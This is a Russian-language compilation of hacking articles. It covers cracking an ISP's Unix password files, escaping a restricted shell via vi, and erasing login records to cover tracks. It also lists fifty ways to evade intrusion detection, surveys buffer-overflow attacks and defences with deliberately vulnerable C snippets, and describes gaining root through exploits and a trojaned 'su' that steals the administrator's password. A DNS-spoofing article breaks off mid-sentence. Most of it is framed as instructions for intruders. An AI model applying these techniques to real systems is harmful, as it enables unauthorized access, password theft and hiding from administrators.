Ломаем провайдера

Статья, пpедлагаемая вашему вниманию, может оказаться полезной только в том случае, если ваш пpовайдеp использует опеpационную систему UNIX, имеющую shell-доступ. Если у вас нет UNIX-shell'a в сеpвеp пpовайдеpа, вы можете официально купить его или подобpать (только на слабо защищенных системах) паpоль (UNIX/UNIX; ROOT/ROOT; ADMIN/ADMIN; SHELL/SHELL; GUEST/GUEST и т.д.). Hа любом UNIXe (если не используется система специальной защиты) файл с паpолями находится в диpектоpии etc, в файле passwd. Файл, конечно, зашифpован и пpогpаммы для его обpатного декодиpования пpосто не существует, но есть дpугая возможность: кодиpовать слова (возможные паpоли) и сpавнивать получившийся кодиpованный ваpиант со всеми зашифpованными паpолями в файле passwd. Хакеpы создали пpогpаммы, делающие это автоматически, но для полноценной pаботы вам понадобится довольно быстpый компьютеp и хоpоший словаpь с возможными паpолями. Hа моей памяти самый полный словаpь занимал 10 мегабайт дискового пpостpанства и помог вскpыть более 200 паpолей пользователей известного pоссийского пpовайдеpа. Из всего, что я встpечал, самая лучшая пpогpамма для дешифpации паpоля под UNIX была Crack Алека Муфетта, а под DOS - CrackerJack. Hекотоpые пpовайдеpы используют систему скpытия паpолей, в этом случае вместо шифpованного паpоля можно будет увидеть что-то наподобии *, а настоящие шифpованные паpоли находятся в дpугом месте. Если вы имеете дело с таким пpовайдеpом, не pасстpаивайтесь, у вас все pавно есть шанс стать обладателем десяточка паpолей пользователей. Для начала попpобуйте поискать спpятанный файл с паpолями в следующих местах:
/etc/security/passwd
/tcb/auth/files//
/tcb/files/auth/?/
/etc/master.passwd
/etc/shadpw
/etc/shadow
/etc/tcb/aa/user/
/.secure/etc/passwd
/etc/passwd[.dir|.pag]
/etc/security/passwd.adjunct
##username
/etc/shadow
/etc/shadow
/etc/security/* database
/etc/auth[.dir|.pag]
/etc/udb
Но может быть и так, что нужного pезультата от поиска в этих диpектоpиях вы не добьетесь. Тогда вам пpидется воспользоваться специально написанной пpогpаммой для отлова файла с паpолями. Эта пpогpамма, котоpая pаботает на многих системах (хотя не на всех). Пpогpамма называется getpwent (), ее исходник можно найти на сеpвеpе (www.spider.ru) в pубpике "ХАКЕРЫ". Еще одна возможная непpиятность связанная с дешифpацией файла с паpолями может случится тогда, когда вы откpоете файл passwd и увидите там что-то похожее на: +::0:0:::. Это говоpит о том, что в системе использована система NIS(Network Information Server)/YP (Yelow Pages). Если у вас возникла такая пpоблема, то вам будет необходимо воспользоваться командой "ypcat passwd" для пpосмотpа настоящего файла с паpолями. Если вам пpидется доставать файл с паpолями под VMS, то попpобуйте посмотpеть SYS$SYSTEM:SYSUAF.DAT. Для взлома паpолей под VMS вам надо воспользоваться пpогpаммой CHECK_PASSWORD или GUESS_PASSWORD, а если у вас есть навыки пpогpаммиpования, то вам будет не сложно написать пpогpамму, котоpая будет сpавнивать кодиpованные слова из вашего словаpя с паpолями из файла. Иногда для взлома пpовайдеpа тpебуется взломать огpаниченный shell-доступ. Для этого вам следует запустить пpогpамму vi и использовать эту команду: set shell=/bin/sh, после чего shell использует следующую команду :shell. И так, если вам удалось выудить несколько паpолей пользователей из passwd, то вам следует "замести следы". Это делается довольно пpосто, вам надо будет отpедактиpовать файлы /etc/utmp, /usr/adm/wtmp, /usr/adm/lastlog. Пpавда эти файлы написаны не откpытым текстом и pуками пpи помощи vi отpедактиpовать вам его не получится, пpидется воспользоваться специальной пpогpаммой, исходник котоpой вы можете найти на сеpвеpе www.spider.ru в pубpике "ХАКЕРЫ". !!!
ВHИМАHИЕ !!!: Цель этой заметки - показать пpовайдеpам возможные недостатки их систем безопасности и пpивлечь их внимание к пpоблеме несанкциониpованного доступа. Автоp не несет ответственности за возможные последствия, вызванные твоpческим осмыслением данного матеpиала читателями.


50 способов обойти систему обнаружения атак

Предисловие переводчика: небольшое введение к оригинальной статье было удалено, т.к. оно не относилось к делу. В нем описывалось как к Фреду пришла идея написать этот материал. Я его пропустил. Единственное, что надо добавить, - автор предупреждает, что к этому материалу надо относиться одновременно и серьезно и с определенной долей иронии. Многие пути применимы только для ОС Unix.

  1. Вставка посторонних символов в атаку, что обычно приводит к невозможности ее обнаружения. (Примечание переводчика - это касается систем обнаружения злоупотреблений, которые используют сигнатуры атак).
  2. Использование табуляций вместо пробелов в командах. Такое изменение разделителя может также привести к невозможности обнаружения атаки.
  3. Очень близкий путь к п.2. Вы могли бы изменить символ разделителя в системе (например, на %), что приведет к определенным проблемам с системами обнаружения атак.
  4. Измените стандартную последовательность действий при атаке. Например, если атака одинаково осуществляется и при 'a;b;c' и при 'b;a;c', то большинство систем обнаружения атак обнаружит первый вариант реализации атаки, но "заглохнет" на ее вариации.
  5. Разделите атаку между несколькими пользователями. Если взять пример выше, то 'a;b' осуществляет первый пользователь, а 'c' - второй. Такое разделение не обнаруживается многими системами обнаружения атак.
  6. Разделите атаку между несколькими сессиями (сеансами). Например, в такой последовательности: Login -> 'a;b' -> Logout -> Login -> 'c'.
  7. Разделите атаку между несколькими удаленными IP-адресами/системами. Например, с узлов X и Y запустите 'a' с X, 'b' с Y, а затем 'c' опять с X.
  8. Определите макрос для команды, используемой в атаке. Например, для команды 'cp' определите макрос '$ZZ' и в дальнейшем используйте его вместо 'cp'.
  9. Определите макрос как параметр, используемый в атаке. Например, используйте '$P' вместо строки '/etc/passwd'.
  10. Создайте скрипт, который заменит команды, используемые при атаке. Если тщательно реализовать эту операцию, то система обнаружения атак не сможет связать вместе название скрипта и команд для атаки, что приведет к ее пропуску.

    Дополнительная атака - добавьте комментарий к строке атаки.

  11. Используйте различные команды для выполнения одинаковых функций. Например, в Unix 'echo *' это почти то же самое, что и 'ls'.
  12. Измените имена в атаках. Например, если атака использует временный файл 'xxx', то измените его на 'yyy'.
  13. Создайте code-book translator для ключевых слов атаки. Это может быть выполнено пересылкой всех команд атаки через фильтр с использованием 'sed' для строковых замен.
  14. Кодируйте атаку в кодировке 'ebcdic' и измените тип терминала на 'ebcdic'. Система обнаружения атак не может определить атаки в различных кодировках.
  15. Реализуйте атаки по зашифрованному каналу.
  16. Используйте постфиксную нотацию для передачи данных или команд атаки, а затем возврат обратно по ее окончании. Система обнаружения атак не сможет распознать команды, посланные в таком виде. (Примечание переводчика - главное, чтобы атакуемая система тоже смогла понять обратный порядок).
  17. Включите полнодуплексный (full duplex) режим соединения с целью атаки. Дополнительные символы, создаваемые в этом режиме, будут путать систему обнаружения атак.
  18. Смешайте несколько атак, чередуя команды из каждой. Система обнаружения атак не должна правдоподобно распознавать ни одну из них.
  19. Кодируйте результаты атак таким образом, чтобы они не совпадали с шаблонами и не могли быть использованы для обнаружения атак. Например, вместо того, чтобы сразу послать себе по почте файл паролей, используя ошибку в sendmail, пропустите этот файл через скрипт 'sed' и замените все символы ':' на '-'. Тем самым, вы несущественно измените файл паролей, который уже не будет соответствовать шаблону.
  20. Атака "пропускается" через скрипт замены символов, написанный на awk. Это вводит в заблуждение систему обнаружения атак.

    Дополнительная атака - Выполните команды, выбираемые из таблицы выполненных перед этим команд по номеру строки этой таблицы. Например, для выполнения команды 'dir *.com' вы могли бы дать команду '15 *.com'.
  21. Подавите порт модуля слежения. Например, вы могли бы посылать echo на порт модуля слежения, тем самым делая невозможным прием других данных.
  22. Пошлите системе обнаружения атак пакеты PING большого размера. Многие системы будут выведены из строя.
  23. Уничтожьте систему обнаружения атак нападая на узел, на котором она установлена. Скомпрометировав этот узел, вы сможете вывести из строя и саму систему обнаружения атак.
  24. Создайте ложные записи в журналах регистрации для введения в заблуждение системы обнаружения атак. Например, создайте между событиями, характеризующими атаку, ложное событие, приводящее к обману системы обнаружения атак.
  25. Займите все дисковое пространство, выделенное для системы обнаружения атак. Например, вы можете создать очень много событий, которые переполнят журналы системы обнаружения атак и не позволяет ей регистрировать остальные атаки.
  26. Остановите процесс генерации и сбора данных об атаках. Например, вы можете породить большое число процессов, тем самым не давая создать системе обнаружения атак процесс для сбора необходимых данных.
  27. Заставьте систему обнаружения атак прервать соединение. Например, некоторые системы обнаружения атак могут завершать соединение с атакующим узлом. Вы можете создать трафик от узла, который вы хотите атаковать. Система обнаружения атак будет блокировать все пакеты, исходящие от скомпрометированного узла, тем самым давая вам возможность атаковать этот узел так, как вам надо.
  28. Повтор
  29. Повтор
  30. Используя редактор 'emacs' команды атаки заносите в буфер 'cmd' вместо набора на клавиатуре. Система обнаружения атак будет "видеть" только нажатия "горячих" клавиш, в то время, как интерпретатор команд на компьютере жертвы будет получать команды атаки. (Примечание переводчика - перевел криво, но смысл в целом понятен).

    Дополнительная атака - Осуществляйте атаку очень медленно. Т.к. размеры буфера для хранения регистрационных данных ограничены, то ваши первые команды для атаки могут быть потеряны к тому моменты, когда вы реализуете последние команды атаки.

  31. Измените таблицу маршрутизации, чтобы избежать попадания трафика к системе обнаружения атак.
  32. Небольшая модификация предыдущего примера.
  33. Используйте маршрутизацию источника, чтобы направить составляющие атаки по различным маршрутам, тем самым обманывая одиночные системы обнаружения атак.
  34. Начните исходящую сессию с жертвой через модем и по этому соединению проведите атаку. Сетевые системы обнаружения атак пропустят это нападение.
  35. Измените инфраструктуру между жертвой и системой обнаружения атак. С системах удаленного управления и сетевых системах обнаружения атак часто достаточно для этого изменить маршрутизацию трафика (например).
  36. Используйте промежуточный узел. Вашу атаку смогут блокировать, но в этом случае очень трудно отследить источник атаки, особенно в том случае, если ваши противники не умеют этого.
  37. Начните атаку с редко используемого или неиспользуемого порта. Очень часто системы обнаружения атак не контролируют такие порты.
  38. Используйте модифицированные протоколы, типа тех, которые обращают байты в слова (см. для примера PDP-11 и VAX).
  39. Используйте IPX над IP. Система обнаружения атак возможно обратит внимание на IP-пакеты, но не поймет их содержание.
  40. Используйте различные туннелированные протоколы для атаки.

    Дополнительная атака - определите свой собственный протокол и приложение и атакуйте через них.

  41. Атаки через коммутируемые соединения. Сетевые системы обнаружения атак никогда не обращают внимания на такие соединения. (Примечание переводчика - достаточно спорный момент. По крайней мере система RealSecure контролирует такие соединения).
  42. Создайте большое число ложных событий для увеличения уровня "шума" для системы обнаружения атак. Это серьезно увеличит время и ресурсы, затрачиваемые на обнаружение реальной атаки.
  43. Вставьте команды атаки внутрь макроса WinWord. Возможно система обнаружения атак не сможет обнаружить такую атаку.
  44. Вставьте команды атаки внутрь макроса различных программных пакетов (PowerPoint, Excel, Access, 123 и т.д.). Возможно система обнаружения атак не сможет обнаружить такую атаку.
  45. Поместите атаку в скомпилированную программу (т.е. троянский конь) и пусть жертва загрузить и выполнит этот файл.
  46. Используйте редко используемые протоколы для атаки. Возможно система обнаружения атак не сможет интерпретировать пакеты этого протокола.
  47. Транслируйте атаку на другой язык, отличный от того на котором была впервые опубликована оригинальная версия.
  48. Используйте нетехнические меры для атаки (например, социальный инжинириг). Т.к. системы обнаружения атак оперируют только битами и байтами, то многие из атак, используемых сегодня, не будут обнаружены.
  49. Нападайте на любой узел, функционирующий не под управлением Unix. Почти все существующие системы обнаружения атак не обнаруживают атаки, направленные не на Unix. (Примечание переводчика - этот путь уже давно устарел).
  50. Используйте одну из тысяч атак, пока не обнаруживаемых системами обнаружения атак.

    Дополнительная атака - создайте свою атаку.


Переполнение буфера (buffer overflows) - название самой распространенной уязвимости в области безопасности программного обеспечения. Первая атака с применением данной уязвимости использовалась в вирусе-черве Морриса в 1988 году. С тех пор их число увеличивается с каждым годом. В настоящее время можно говорить, что уязвимости, связанные с переполнение буфера являются доминирующими при удаленных атаках, где обычный пользователь сети получает частичный или полный контроль над атакуемым хостом. Анализ атак и обнаруженных уязвимостей последних лет показывает, что данная проблема является первостепенной. Так, например, 9 из 13 выпусков CERT (Computer Emergency Response Team site) в 1998 году и по крайней мере половина выпусков 1999 года связаны с переполнением буфера [1]. Информационный обзор популярного списка рассылки Bugtraq показывает, что примерно 2/3 респондентов считает переполнение буфера основной причиной нарушения сетевой безопасности [2]. Отметим, что переполнение буфера присуще также программному обеспечению ряда аппаратных средств. Примером может служить уязвимость принтера HP LaserJet 4500 [20]. Очевидно, что эффективное решение данной проблемы позволит исключить большую долю самых серьезных угроз компьютерной безопасности.

Основа атак с использованием этой уязвимости - принцип функционирования операционных систем, где программа получает привилегии и права запустившего ее пользователя или процесса. Таким образом, менее привилегированный пользователь или процесс, который взаимодействует с данной программой может использовать ее права в своих целях. Штатные средства программного обеспечения не позволяют выполнять такие действия. Однако “переполнение буфера” все же делает это возможным. Использование данной уязвимости подразумевает изменение хода выполнения привилегированной программы, например, запуск командной оболочки с правами администратора. Реализации атаки требует решения двух подзадач.

  • Подготовка кода, который будет выполнятся в контексте привилегированной программы.
  • Изменение последовательности выполнения программы с передачей управления подготовленному коду.

Методы решения этих двух подзадач могут служить основой классификации атак, связанных с переполнением буфера [3].

Рассмотрим пути решения подзадачи подготовки кода.

  • Подготавливаемый код представляет собой исполняемый машинные инструкции соответствующего процессора и может передаваться в программу в качестве ее параметра или команды. При этом параметр или команда сохраняется программой в отведенном для этого буфере. Буфер может находится в любой области памяти: в стеке (локальные, автоматические переменные), в динамически распределяемой памяти, в области статических данных. Например, программе, запрашивающей ввод строки, под видом строки может быть передан нужный атакующему код, которому в дальнейшем будет передано управление.
  • Нужный код не передается в программу, так как он уже присутствует в ней самой или в ее адресном пространстве и требуется лишь его параметризация. Например, подготовка параметра для функции запуска программы. В данном случае атакующему требуется изменить или сформировать нужный параметр (для нашего примера указатель на строку с названием программы), а не сам код. Параметр также может находится в любой области памяти.
  • Если параметризированный код уже присутствует в адресном пространстве программы, то подготовки кода не требуется.

Далее рассмотрим способы передачи управления подготовленному коду. В основе этих способов лежит переполнение буфера, т. е. блока памяти, выделенного под переменную. Переполнение возникает при отсутствии проверки выхода за границы буфера. Таким образом, искажается содержимое других переменных состояния и параметров программы, которые входят в область переполнения буфера. Типы искажаемых объектов-переменных определяет способ передачи управления коду атакующего и могут быть следующими.

Искажение адреса возврата из функции

Так как вызову функции сопутствует занесение адреса возврата в стек, то при его подмене атакующим, управление передается по заданному им адресу. Здесь используется переполнение буфера локальных переменных функции, которые также создаются в стеке. Простым примером служит следующий фрагмент программы на Си.

int namelen (void) {

char name[21];

gets(name);

return strlen(name);

}

Из примера видно, что при вводе имени размером более 20 символов частью строки будет замещен адрес возврата из функции. Далее, при выполнении инструкции возврата из подпрограммы, управление будет передано по адресу, который образуют соответствующие позиции введенной строки и в обычной ситуации будет получено сообщение об ошибке операционной системы.

Такие атаки на переполнение буфера получили название “атаки срыва стека” (stack smashing attack) [4, 5, 6, 7].

Искажение указателя функции

В данном случае атаке подвергаются переменные, содержащие указатели на функции. Эти переменные могут располагаться в любой области памяти, не только в стеке но и в области динамически и статически выделяемых данных. Атакующий организовывает переполнение буфера, которое искажает данные указатели, и далее при вызове функций по этим указателям управление передается подготовленному коду. Приведем пример уязвимости указателей в виде следующего фрагмента программы на Си.

void dummy(void) {

printf("Hello world!\n");

}

int main(int argc, char **argv) {

void (*dummyptr)();

char buffer[100];

dummyptr=dummy;

strcpy(buffer, argv[1]); // Уязвимость

(*dummyptr)();

}

Здесь переполнение буфера buffer приводит к подмене указателя dummyptr и последующему изменению хода выполнения программы.

Искажение таблиц переходов

В результате компиляции часто создаются так называемые таблицы переходов, которые могут использоваться в целях оптимизации, динамического связывания кода, обработки исключений и т.п. Искажение таких таблиц вызванное переполнением буфера позволяет передать управление подготовленному коду.

Искажение указателей данных

Данный способ не предусматривает явной передачи управления подготовленному коду, но предполагает, что передача происходит на основании оригинального алгоритма программы. Другими словами, подготовленный код запускается в ходе обычной, не искаженной, последовательности исполнения программы.

Рассмотрим следующий фрагмент программы на C.

foo(char * arg) {

char * p = arg; // уязвимый указатель

char a[40]; // переполняемый буфер

gets(a); // применение gets() реализует уязвимость

gets(p); // искажение кода

}

Здесь переполнение буфера a вызывает подмену указателя p и последующую запись строки по адресу искаженного указателя. Вводимая строка содержит код атакующего. Такая схема атаки часто используется для корректировки (patch) части кода программы или кода динамических и статических библиотек, располагающихся в памяти по фиксированным адресам. Например, корректировка-подмена системных функции выхода из программы или запуска процесса.

Другой пример атаки подобного рода - искажение указателя кадра стека локальных переменных (frame pointer overwrite attack) [8]. Эта атака основана на стандартных операциях пролога и эпилога подпрограмм, в результате чего подменяется указатель базы кадра локальных переменных.

На мой взгляд, комбинация всех методов подготовки кода и целей переполнения буфера (типа искажаемых структур) определяет виды всех возможных атак по переполнению буфера, что позволяет их классифицировать. Результат комбинации приведен в следующей таблице.

Таблица 1. Классификация атак по переполнению буфера

Подготовка кода Цель переполнения | Внедрение кода | Внедрение параметров | Не требуется
Искажение адреса возврата из функции | Атака “срыв стека” | Атака “срыв стека” с параметризацией | Атака “срыв стека” с передачей управления
Искажение указателей функций | Атака на указатели функций | Атака на указатели функций с параметризацией | Атака на указатели функций с передачей управления
Искажение таблиц переходов | Атака на таблицы переходов | Атака на таблицы переходов с параметризацией | Атака на таблицы переходов с передачей управления
Искажение указателей данных | Атака с искажением указателей данных | Атака с искажением указателей данных с параметризацией | Атака с искажением указателей данных с оригинальным кодом

Определив возможные виды атак по переполнению буфера рассмотрим методы защиты от них.

Корректировка исходных кодов программы для устранения уязвимостей

Переполнение буфера происходит прежде всего из-за неправильного алгоритма работы программы, который не предусматривает проверок выхода за границы буферов. Также особую роль здесь играет язык программирования Си и его стандартные библиотеки. Так как Си не содержит средств контроля соответствия типов, то в переменную одного типа можно занести значение другого типа. Стандартные функции Си такие как strcpy, sprintf, gets работают со строками символов и не имеют в качестве аргументов их размеров, что, как видно из приведенных выше примеров, легко приводит к переполнению буфера. Сложившийся годами стиль программирования более ориентированный на производительность программ, без выполнения дополнительных проверок также является причиной распространения данной уязвимости. В результате чего, для программистов выработано ряд методик и указаний по написанию программ не содержащих уязвимости [9]. Сформированы рекомендации по исправлению уже существующих программ (например, замена уязвимых функций: strcpy, spritnf на их аналоги strncpy, snprintf, в параметры которых входит размер строки). Созданы и постоянно возникают новые команды-объединения программистов по аудиту и исправлению кода существующих программ [10]. Существуют гибкие средства автоматически выполняющие действия имитирующие переполнение буфера на этапе отладки программы [11]. Также следует упомянуть об утилитах автоматического поиска уязвимостей в исходном коде программы. Указанные методы и средства позволяют создавать более защищенные программы, но не решают проблему в принципе, а лишь минимизируют число уязвимостей по переполнению буфера. К недостаткам следует отнести и то, что

данный подход ориентирован непосредственно на разработчиков программного обеспечения и не является инструментом конечного пользователя или системного администратора.

Использование неисполнимых буферов

Суть метода заключается в запрещении исполнения кода в сегментах данных и стека, т.е. параметры сегментов данных и стека содержат только атрибуты записи и чтения, но не исполнения. Например, для реализации неисполняемого стека существуют “заплаты” для ОС Solaris и Linux [12, 13]. Однако ограничение на исполнение данных приводит к проблеме несовместимости. Исполняемый стек необходим для работы многим программам, так как на его основе генерируется код компиляторами, реализуются системные функции операционных систем, реализуется автоматическая генерация кода. Защита с использованием неисполнимых буферов предотвратит только атаки с внедрением кода, но не поможет при других видах атак.

Применение проверок выхода за границы

В основе данного метода лежит выполнение проверок выхода за границы переменной при каждом обращении к ней. Это предотвращает все возможные атаки по переполнению буфера, так как полностью исключает само переполнение. Проверки выхода за границы переменной опционально реализованы в некоторых компиляторах Си, например, Compaq C, cc в Tru64 Unix, cc в Alpha Linux [14]. Следует отметить, что реализованные проверки ограничены только точными ссылками на элементы массивов, но не производятся для указателей. Существует также “заплата” для gcc, которая позволяет компилировать программы с полностью реализованной (включая проверку указателей) проверкой выхода за границы массивов [15]. Однако, у этого решения есть существенный недостаток - значительное (до 30 раз) снижение производительности программы. Другие системы осуществляют проверки при доступе к памяти, выполняя вставки дополнительного объектного кода проверок во все места программы, где есть обращения к памяти [16]. Вставки могут производится как до сборки объектных файлов (Purify) так и после (Pixie). Такие проверки сказываются на производительности с ее уменьшением от 2 до 5 раз и скорее подходят для отладки.

Применение проверок целостности

Решение, основанное на данном методе, получено благодаря проекту Synthetix [17]. Цель Synthetix - специализация кода для увеличения производительности операционных систем. При этом вводится понятие так называемого квази-постоянства (Quasi-invariant), т.е. состояния среды, которое неизменно в определенных рамках. Такое квази-постоянство позволяет устранить ряд избыточного кода проверки выполнения различных условий. В рамках проекта реализован набор утилит, в том числе обеспечивающих контроль и защиту квази-постоянных состояний среды. К их числу относятся StackGuard и PointGuard [3, 18, 19]. StackGuard предназначен для защиты от всех атак по переполнению буфера с изменением адреса возврата из функции и реализован в виде “заплаты” к gcc. Данная заплата изменяет пролог и эпилог всех функций с целью проверки целостности адреса возврата из функции при помощи так называемого "canary word".

Измененный пролог каждой функции выполняет занесение в стек “canary word”, а эпилог проверку содержимого стека, занесенного ранее и, в случае, нарушения останавливает программу с предупреждающим сообщением. При атаке с искажением адреса возврата неизбежно произойдет искажение “canary word”, что и будет признаком нарушения целостности. Таким образом, целостность адреса возврата определяется целостностью “canary word”. В терминологии Synthetix, нарушение целостности является нарушением квази-постоянства среды. При известном значении “canary word” атакующий может организовать подмену адреса возврата без нарушения целостности. Поэтому “canary word” формируется StackGuard особым образом [19]:

  1. имеет значения 0, CR, LF, EOF, что не позволит провести атаку при переполнении буфера в библиотечных функциях Си, так как данные значения являются признаками конца строки; имеет псевдослучайное значение, генерируемое при каждом запуске программы.

Авторами системы распространяется защищенная версия Red Hat Linux 5.1 [19], скомпилированная при помощи StackGuard.

Продукт PointGuard предназначен для защиты от атак на указатели функций. Он также реализован в виде дополнения к компилятору gcc и осуществляет защиту путем помещения “canary word” перед каждым указателем функции и таблицей переходов. Существует ряд трудностей с реализацией данного алгоритма защиты [3]: 1) размещение “canary word” должно выполнятся одновременно с выделением памяти под переменную, 2) инициализация одновременно с инициализацией переменной, 3) проверка целостности должна производится при каждом обращении к защищаемой переменной. Поэтому PointGuard ограничивается лишь статическими указателями на функции, которые не являются агрегативными. В дальнейшем авторы намерены реализовать полнофункциональную версию, которая будет оперировать указателями на функции различных видов. PointGuard не сможет защитить от атак с искажением указателей данных. Хотя для исключения этих видов атак, программисту предоставляется возможность самому создавать переменные, из специальных защищенных классов.

Проверки целостности StackGuard и PointGuard выполняются практически не сказываясь на производительности защищаемых программ, в отличие от других систем, так как не отслеживают динамически каждое обращение к переменным, но функционируют по адаптивной схеме с проверкой сохранения квази-постоянства среды.

Механизм проверки целостности используется также другой системой защиты от атак по переполнению буфера - StackShield [23]. StackShield реализован в виде процессора ассемблерного кода, генерируемого gcc и выполняет защиту от атак с искажением адреса возврата и указателей функций. Для предотвращения подмены адреса возврата в прологе каждой функции выполняется сохранение этого адреса во вторичном (дополнительном) стеке, а эпилог восстанавливает его значение. В случае переполнения буфера и искажения адреса возврата он будет восстановлен эпилогом без выдачи дополнительных сообщений, что впоследствии может привести к аварийному завершению. Атака с подменой указателей функций пресекается путем вставки специального кода перед каждой инструкцией вызова подпрограммы по указателю. Специальный код выполняет проверку того, в каком сегменте расположен адрес, вызываемой подпрограммы. Если это область данных или стека то программа завершается с ненулевым кодом ошибки. Однако, при такой схеме защиты встает проблема несовместимости с программами, которые содержат исполняемый код в области данных и стека. Защита StackShield также практически не сказывается на производительности программы.

Также следует отметить реализацию рассматриваемого метода для FreeBSD [21], которая выполнена в виде “заплат” с проверками целостности адреса возврата внутри базовой библиотеки libc. При этом защищаются только библиотечные функции, но не сама программа.

Рассмотренные методы противодействия атакам по переполнению буфера не выполняют полную автоматическую защиту от всех возможных атак описанных в таблице 1. Ряд атак с искажением указателей данных носит логический характер и не могут быть выявлены в автоматическом режиме. Как ни странно, самая первая атака по переполнению буфера в вирусе-черве Морриса носила именно такой характер [3]. Программистам также следует обратить свой взор на языки, обеспечивающие проверку и сохранение типов, такие как Java и Паскаль, исключающие переполнение буфера. Однако, не следует забывать, что виртуальная машина Java написана на Си и, таким образом, может иметь уязвимости [22].


Взлом ЮниксА

Для того чтобы взломать Юникс сервер нужно иметь первоначальный доступ к нему. Юникс - это многопользовательская операционная система. То есть в ней одновременно может работать несколько пользователей. Существует четыре вида пользователей:
  1. Суперпользователь aka root
  2. Администратор
  3. Обычный пользователь
  4. Псевдопользователь
Задача хакера - получить максимальные права, то есть права рута. Существует несколько видов получения этих прав. Хакер может из псевдопользователя получить статус системного администратора, может, имея права обычного пользователя, стать рутом, и последний вариант - по цепочке, то есть из псевдопользователя в обычного и так до рута. Суперпользователь - это юзер, который может делать с системой все что угодно. Он может запускать любые программы, удалять любые файлы. Добавлять и удалять любых других юзеров.
Администратор - это такой крутой чел, который находится в доверии у рута. Он даже может знать пароль рута и т.д. Обычно UID и GID у них ниже 100.
Обычный пользователь - это просто человек, у которого есть доступ к серверу. Он имеет право запускать программы (но не все, а те, которые ему разрешил запускать рут), записывать свои программы, сидеть на IRC, получать и отсылать почту.
Псевдопользователем может стать практически любой кибер юзер, когда он телнетится на 25 порт (это порт почтового демона (Sendmail или Qmail). Но, практически, он ничего делать не может. Но ведь как-то получают рута! Я расскажу один из способов, только не считай это инструкцией. Это просто пример, чтобы ты понял, как работает эта система.
Итак:
Хакер имеет права только псевдопользователя, а ему нужен рут. Что делать? Существуют такие программы, которые называются эксплоитами (exploits). Но так как у него права только псевдопользователя, то ему нужны удаленные эксплоиты (remote exploits). Эти программы используют дырки в таких демонах, как IMAPd (143 порт), QPOP (110 порт), FTPd (21 порт), NAMEd (53 порт) и т.д. Запуская эксплоит, он обычно посылает какую-то строку этому демону, и демон, перезагружаясь, отдает хакеру привилегии рута.
Второй способ, это когда у хакера уже есть доступ к удаленной машине, то есть он - обычный пользователь. Тогда ему опять же нужны эксплоиты, только в этот раз локальные (local exploits). Он запускает такой эксплоит на удаленной машине и опять же получает права рута. Только перед тем, как найти нужный эксплоит, хакер смотрит версию операционки, на которой висит сервер. Это делается командой "uname-a". Имея права рута, хакер лезет за файлом /etc/passwd, в котором хранится вся информация о юзерах, присутствующих в системе. А дальше в ход вступает взломщик паролей (например, John the Ripper).
Если же хакер по какой-то случайности имеет права администратора, то он, опять же, пользуется локальными эксплоитами, но немного другим способом. Дело в том, что админы часто заходят под своим логином, а потом, запуская программу "su", получают права рута. После запуска программа "su" спрашивает пароль рута и, если он введен правильно, дает права суперпользователя. Хакер может подсунуть троянского коня, замаскированного под "su", который, при запуске админом "su", запомнит пароль, введенный админом, выдаст сообщение о неправильном пароле и запустит настоящую "su". Затем хакер заходит на сервак, смотрит пароль рута и действует.
Посмотреть (и скачать :)) эксплоиты можно на www.genocide2600.com/~tattooman, на http://www.rootshell.com/, на http://www.technotronic.com/, на http://www.insecure.org/. Трояны можно найти там же, но и на www.nice.ru/seczone.


Бесплатный Интернет

Атка на DNS

Введение Являясь одним из основных элементов инфраструктуры IP-сетей, служба доменных имен (DNS) в то же время далеко неидеальна с точки зрения информационной безопасности. Применение транспортного протокола без установления виртуального канала (UDP), отсутствие встроенных средств идентификации, аутентификации и разграничения доступа делают ее уязвимой для удаленных атак различных типов. В данной статье рассматривается межсегментная удаленная атака на DNS-сервер, не требующая выполнения каких либо жестких условий и допускающая эффективную практическую реализацию. > 1. DNS с высоты птичьего полета Служба доменных имен представляет собой распределенную базу данных, основным содержанием которой является информация о соответствии символических имен сетевых объектов их IP-адресам. DNS организована по иерархическому принципу. Структурной единицей этой базы является домен (domain), который в свою очередь может содержать другие домены (поддомены). Первичным источником информации о каждом домене является ответственный за данный домен DNS-сервер (на самом деле их может быть несколько). Ответственность за часть доменной информации (поддомены) может быть делегирована другим серверам Клиентская часть DNS называется резолвером (resolver), доступ к которому прикладные программы получают через API операционной системы. При взаимодействии резолвера с сервером в качестве транспортного протокола используется UDP, не предусматривающий формирования виртуального канала. Запросы, генерируемые резолвером, являются рекурсивными, т.е. в качестве ответа на такой запрос возвращается либо искомая информация, либо сообщение о ее отсутствии. Получив запрос от резолвера, сервер либо сразу же возвращает ответ (при условии наличия искомой информации в локальной базе), либо формирует запрос к другому серверу. Этот запрос обычно является итеративным и, в отличие от рекурсивного, допускает ответ в виде ссылки на другой сервер, который лучше осведомлен о месте расположения искомой информации. В общем случае поиск начинается с корневого сервера, который возвращает информацию о серверах, ответственных за домены верхнего уровня, после чего формируется новый итеративный запрос к одному из этих серверов и т.д. Результатом такой цепочки вопросов-ответов является либо получение искомой информации, либо вывод о ее отсутствии, после чего полученный ответ возвращается резолверу. Вся накопленная сервером в процессе работы информация кэшируется с целью ускорения обслуживания последующих запросов и минимизации сетевого трафика. 2. Межсегментная удаленная атака на DNS-сервер Возможность атаки на DNS путем фальсификации ответа DNS-сервера известна довольно давно (см., например, Медведовский И.Д., Семьянов П.В., Платонов В.В. Атака через Internet. - СПб.: "Мир и семья-95", 1997.). Объектом атаки может являться как резолвер, так и DNS-сервер. Причины успеха подобных атак кроются в легкости подделки ответа сервера. Протоколы DNS, используемые в настоящее время, не предусматривают каких либо средств проверки аутентичности полученных данных и их источника, полностью полагаясь в этом на нижележащие протоколы транспортного уровня. Используемый транспортный протокол (UDP) с целью повышения эффективности не предусматривает установления виртуального канала и использует в качестве идентификатора источника сообщения IP-адрес, который может быть элементарно подделан. При наличии у атакующего возможности перехвата сообщений, которыми обмениваются клиент и сервер (внутрисегментная атака) реализация атаки не представляет каких либо трудностей. Однако этот вариант не представляет и значительного практического интереса, поскольку возможность внутрисегментной атаки предполагает наличие определенного взаимного расположения клиента, сервера и хоста атакующего (например, атакующий и целевой DNS-сервер разделяют общую физическую среду передачи), что на практике реализуется довольно редко. Значительно более общим случаем является межсегментная атака, не требующая для своей реализации столь жестких условий. По этой причине мы остановимся на рассмотрении именно этого класса удаленных атак, представляющих как академический, так и практический интерес. Межсегментная атака на DNS-сервер выглядит следующим образом. Предположим для определенности, что целью атаки является "подмена" IP-адреса web-сервера www.coolsite.com на IP-адрес сервера www.badsite.com для пользователей некоторой подсети, которую обслуживает DNS-сервер ns.victim.com. В первой фазе атаки ns.victim.com провоцируется на поиск информации о IP-адресе www.coolsite.com путем посылки ему соответствующего рекурсивного запроса. Во второй 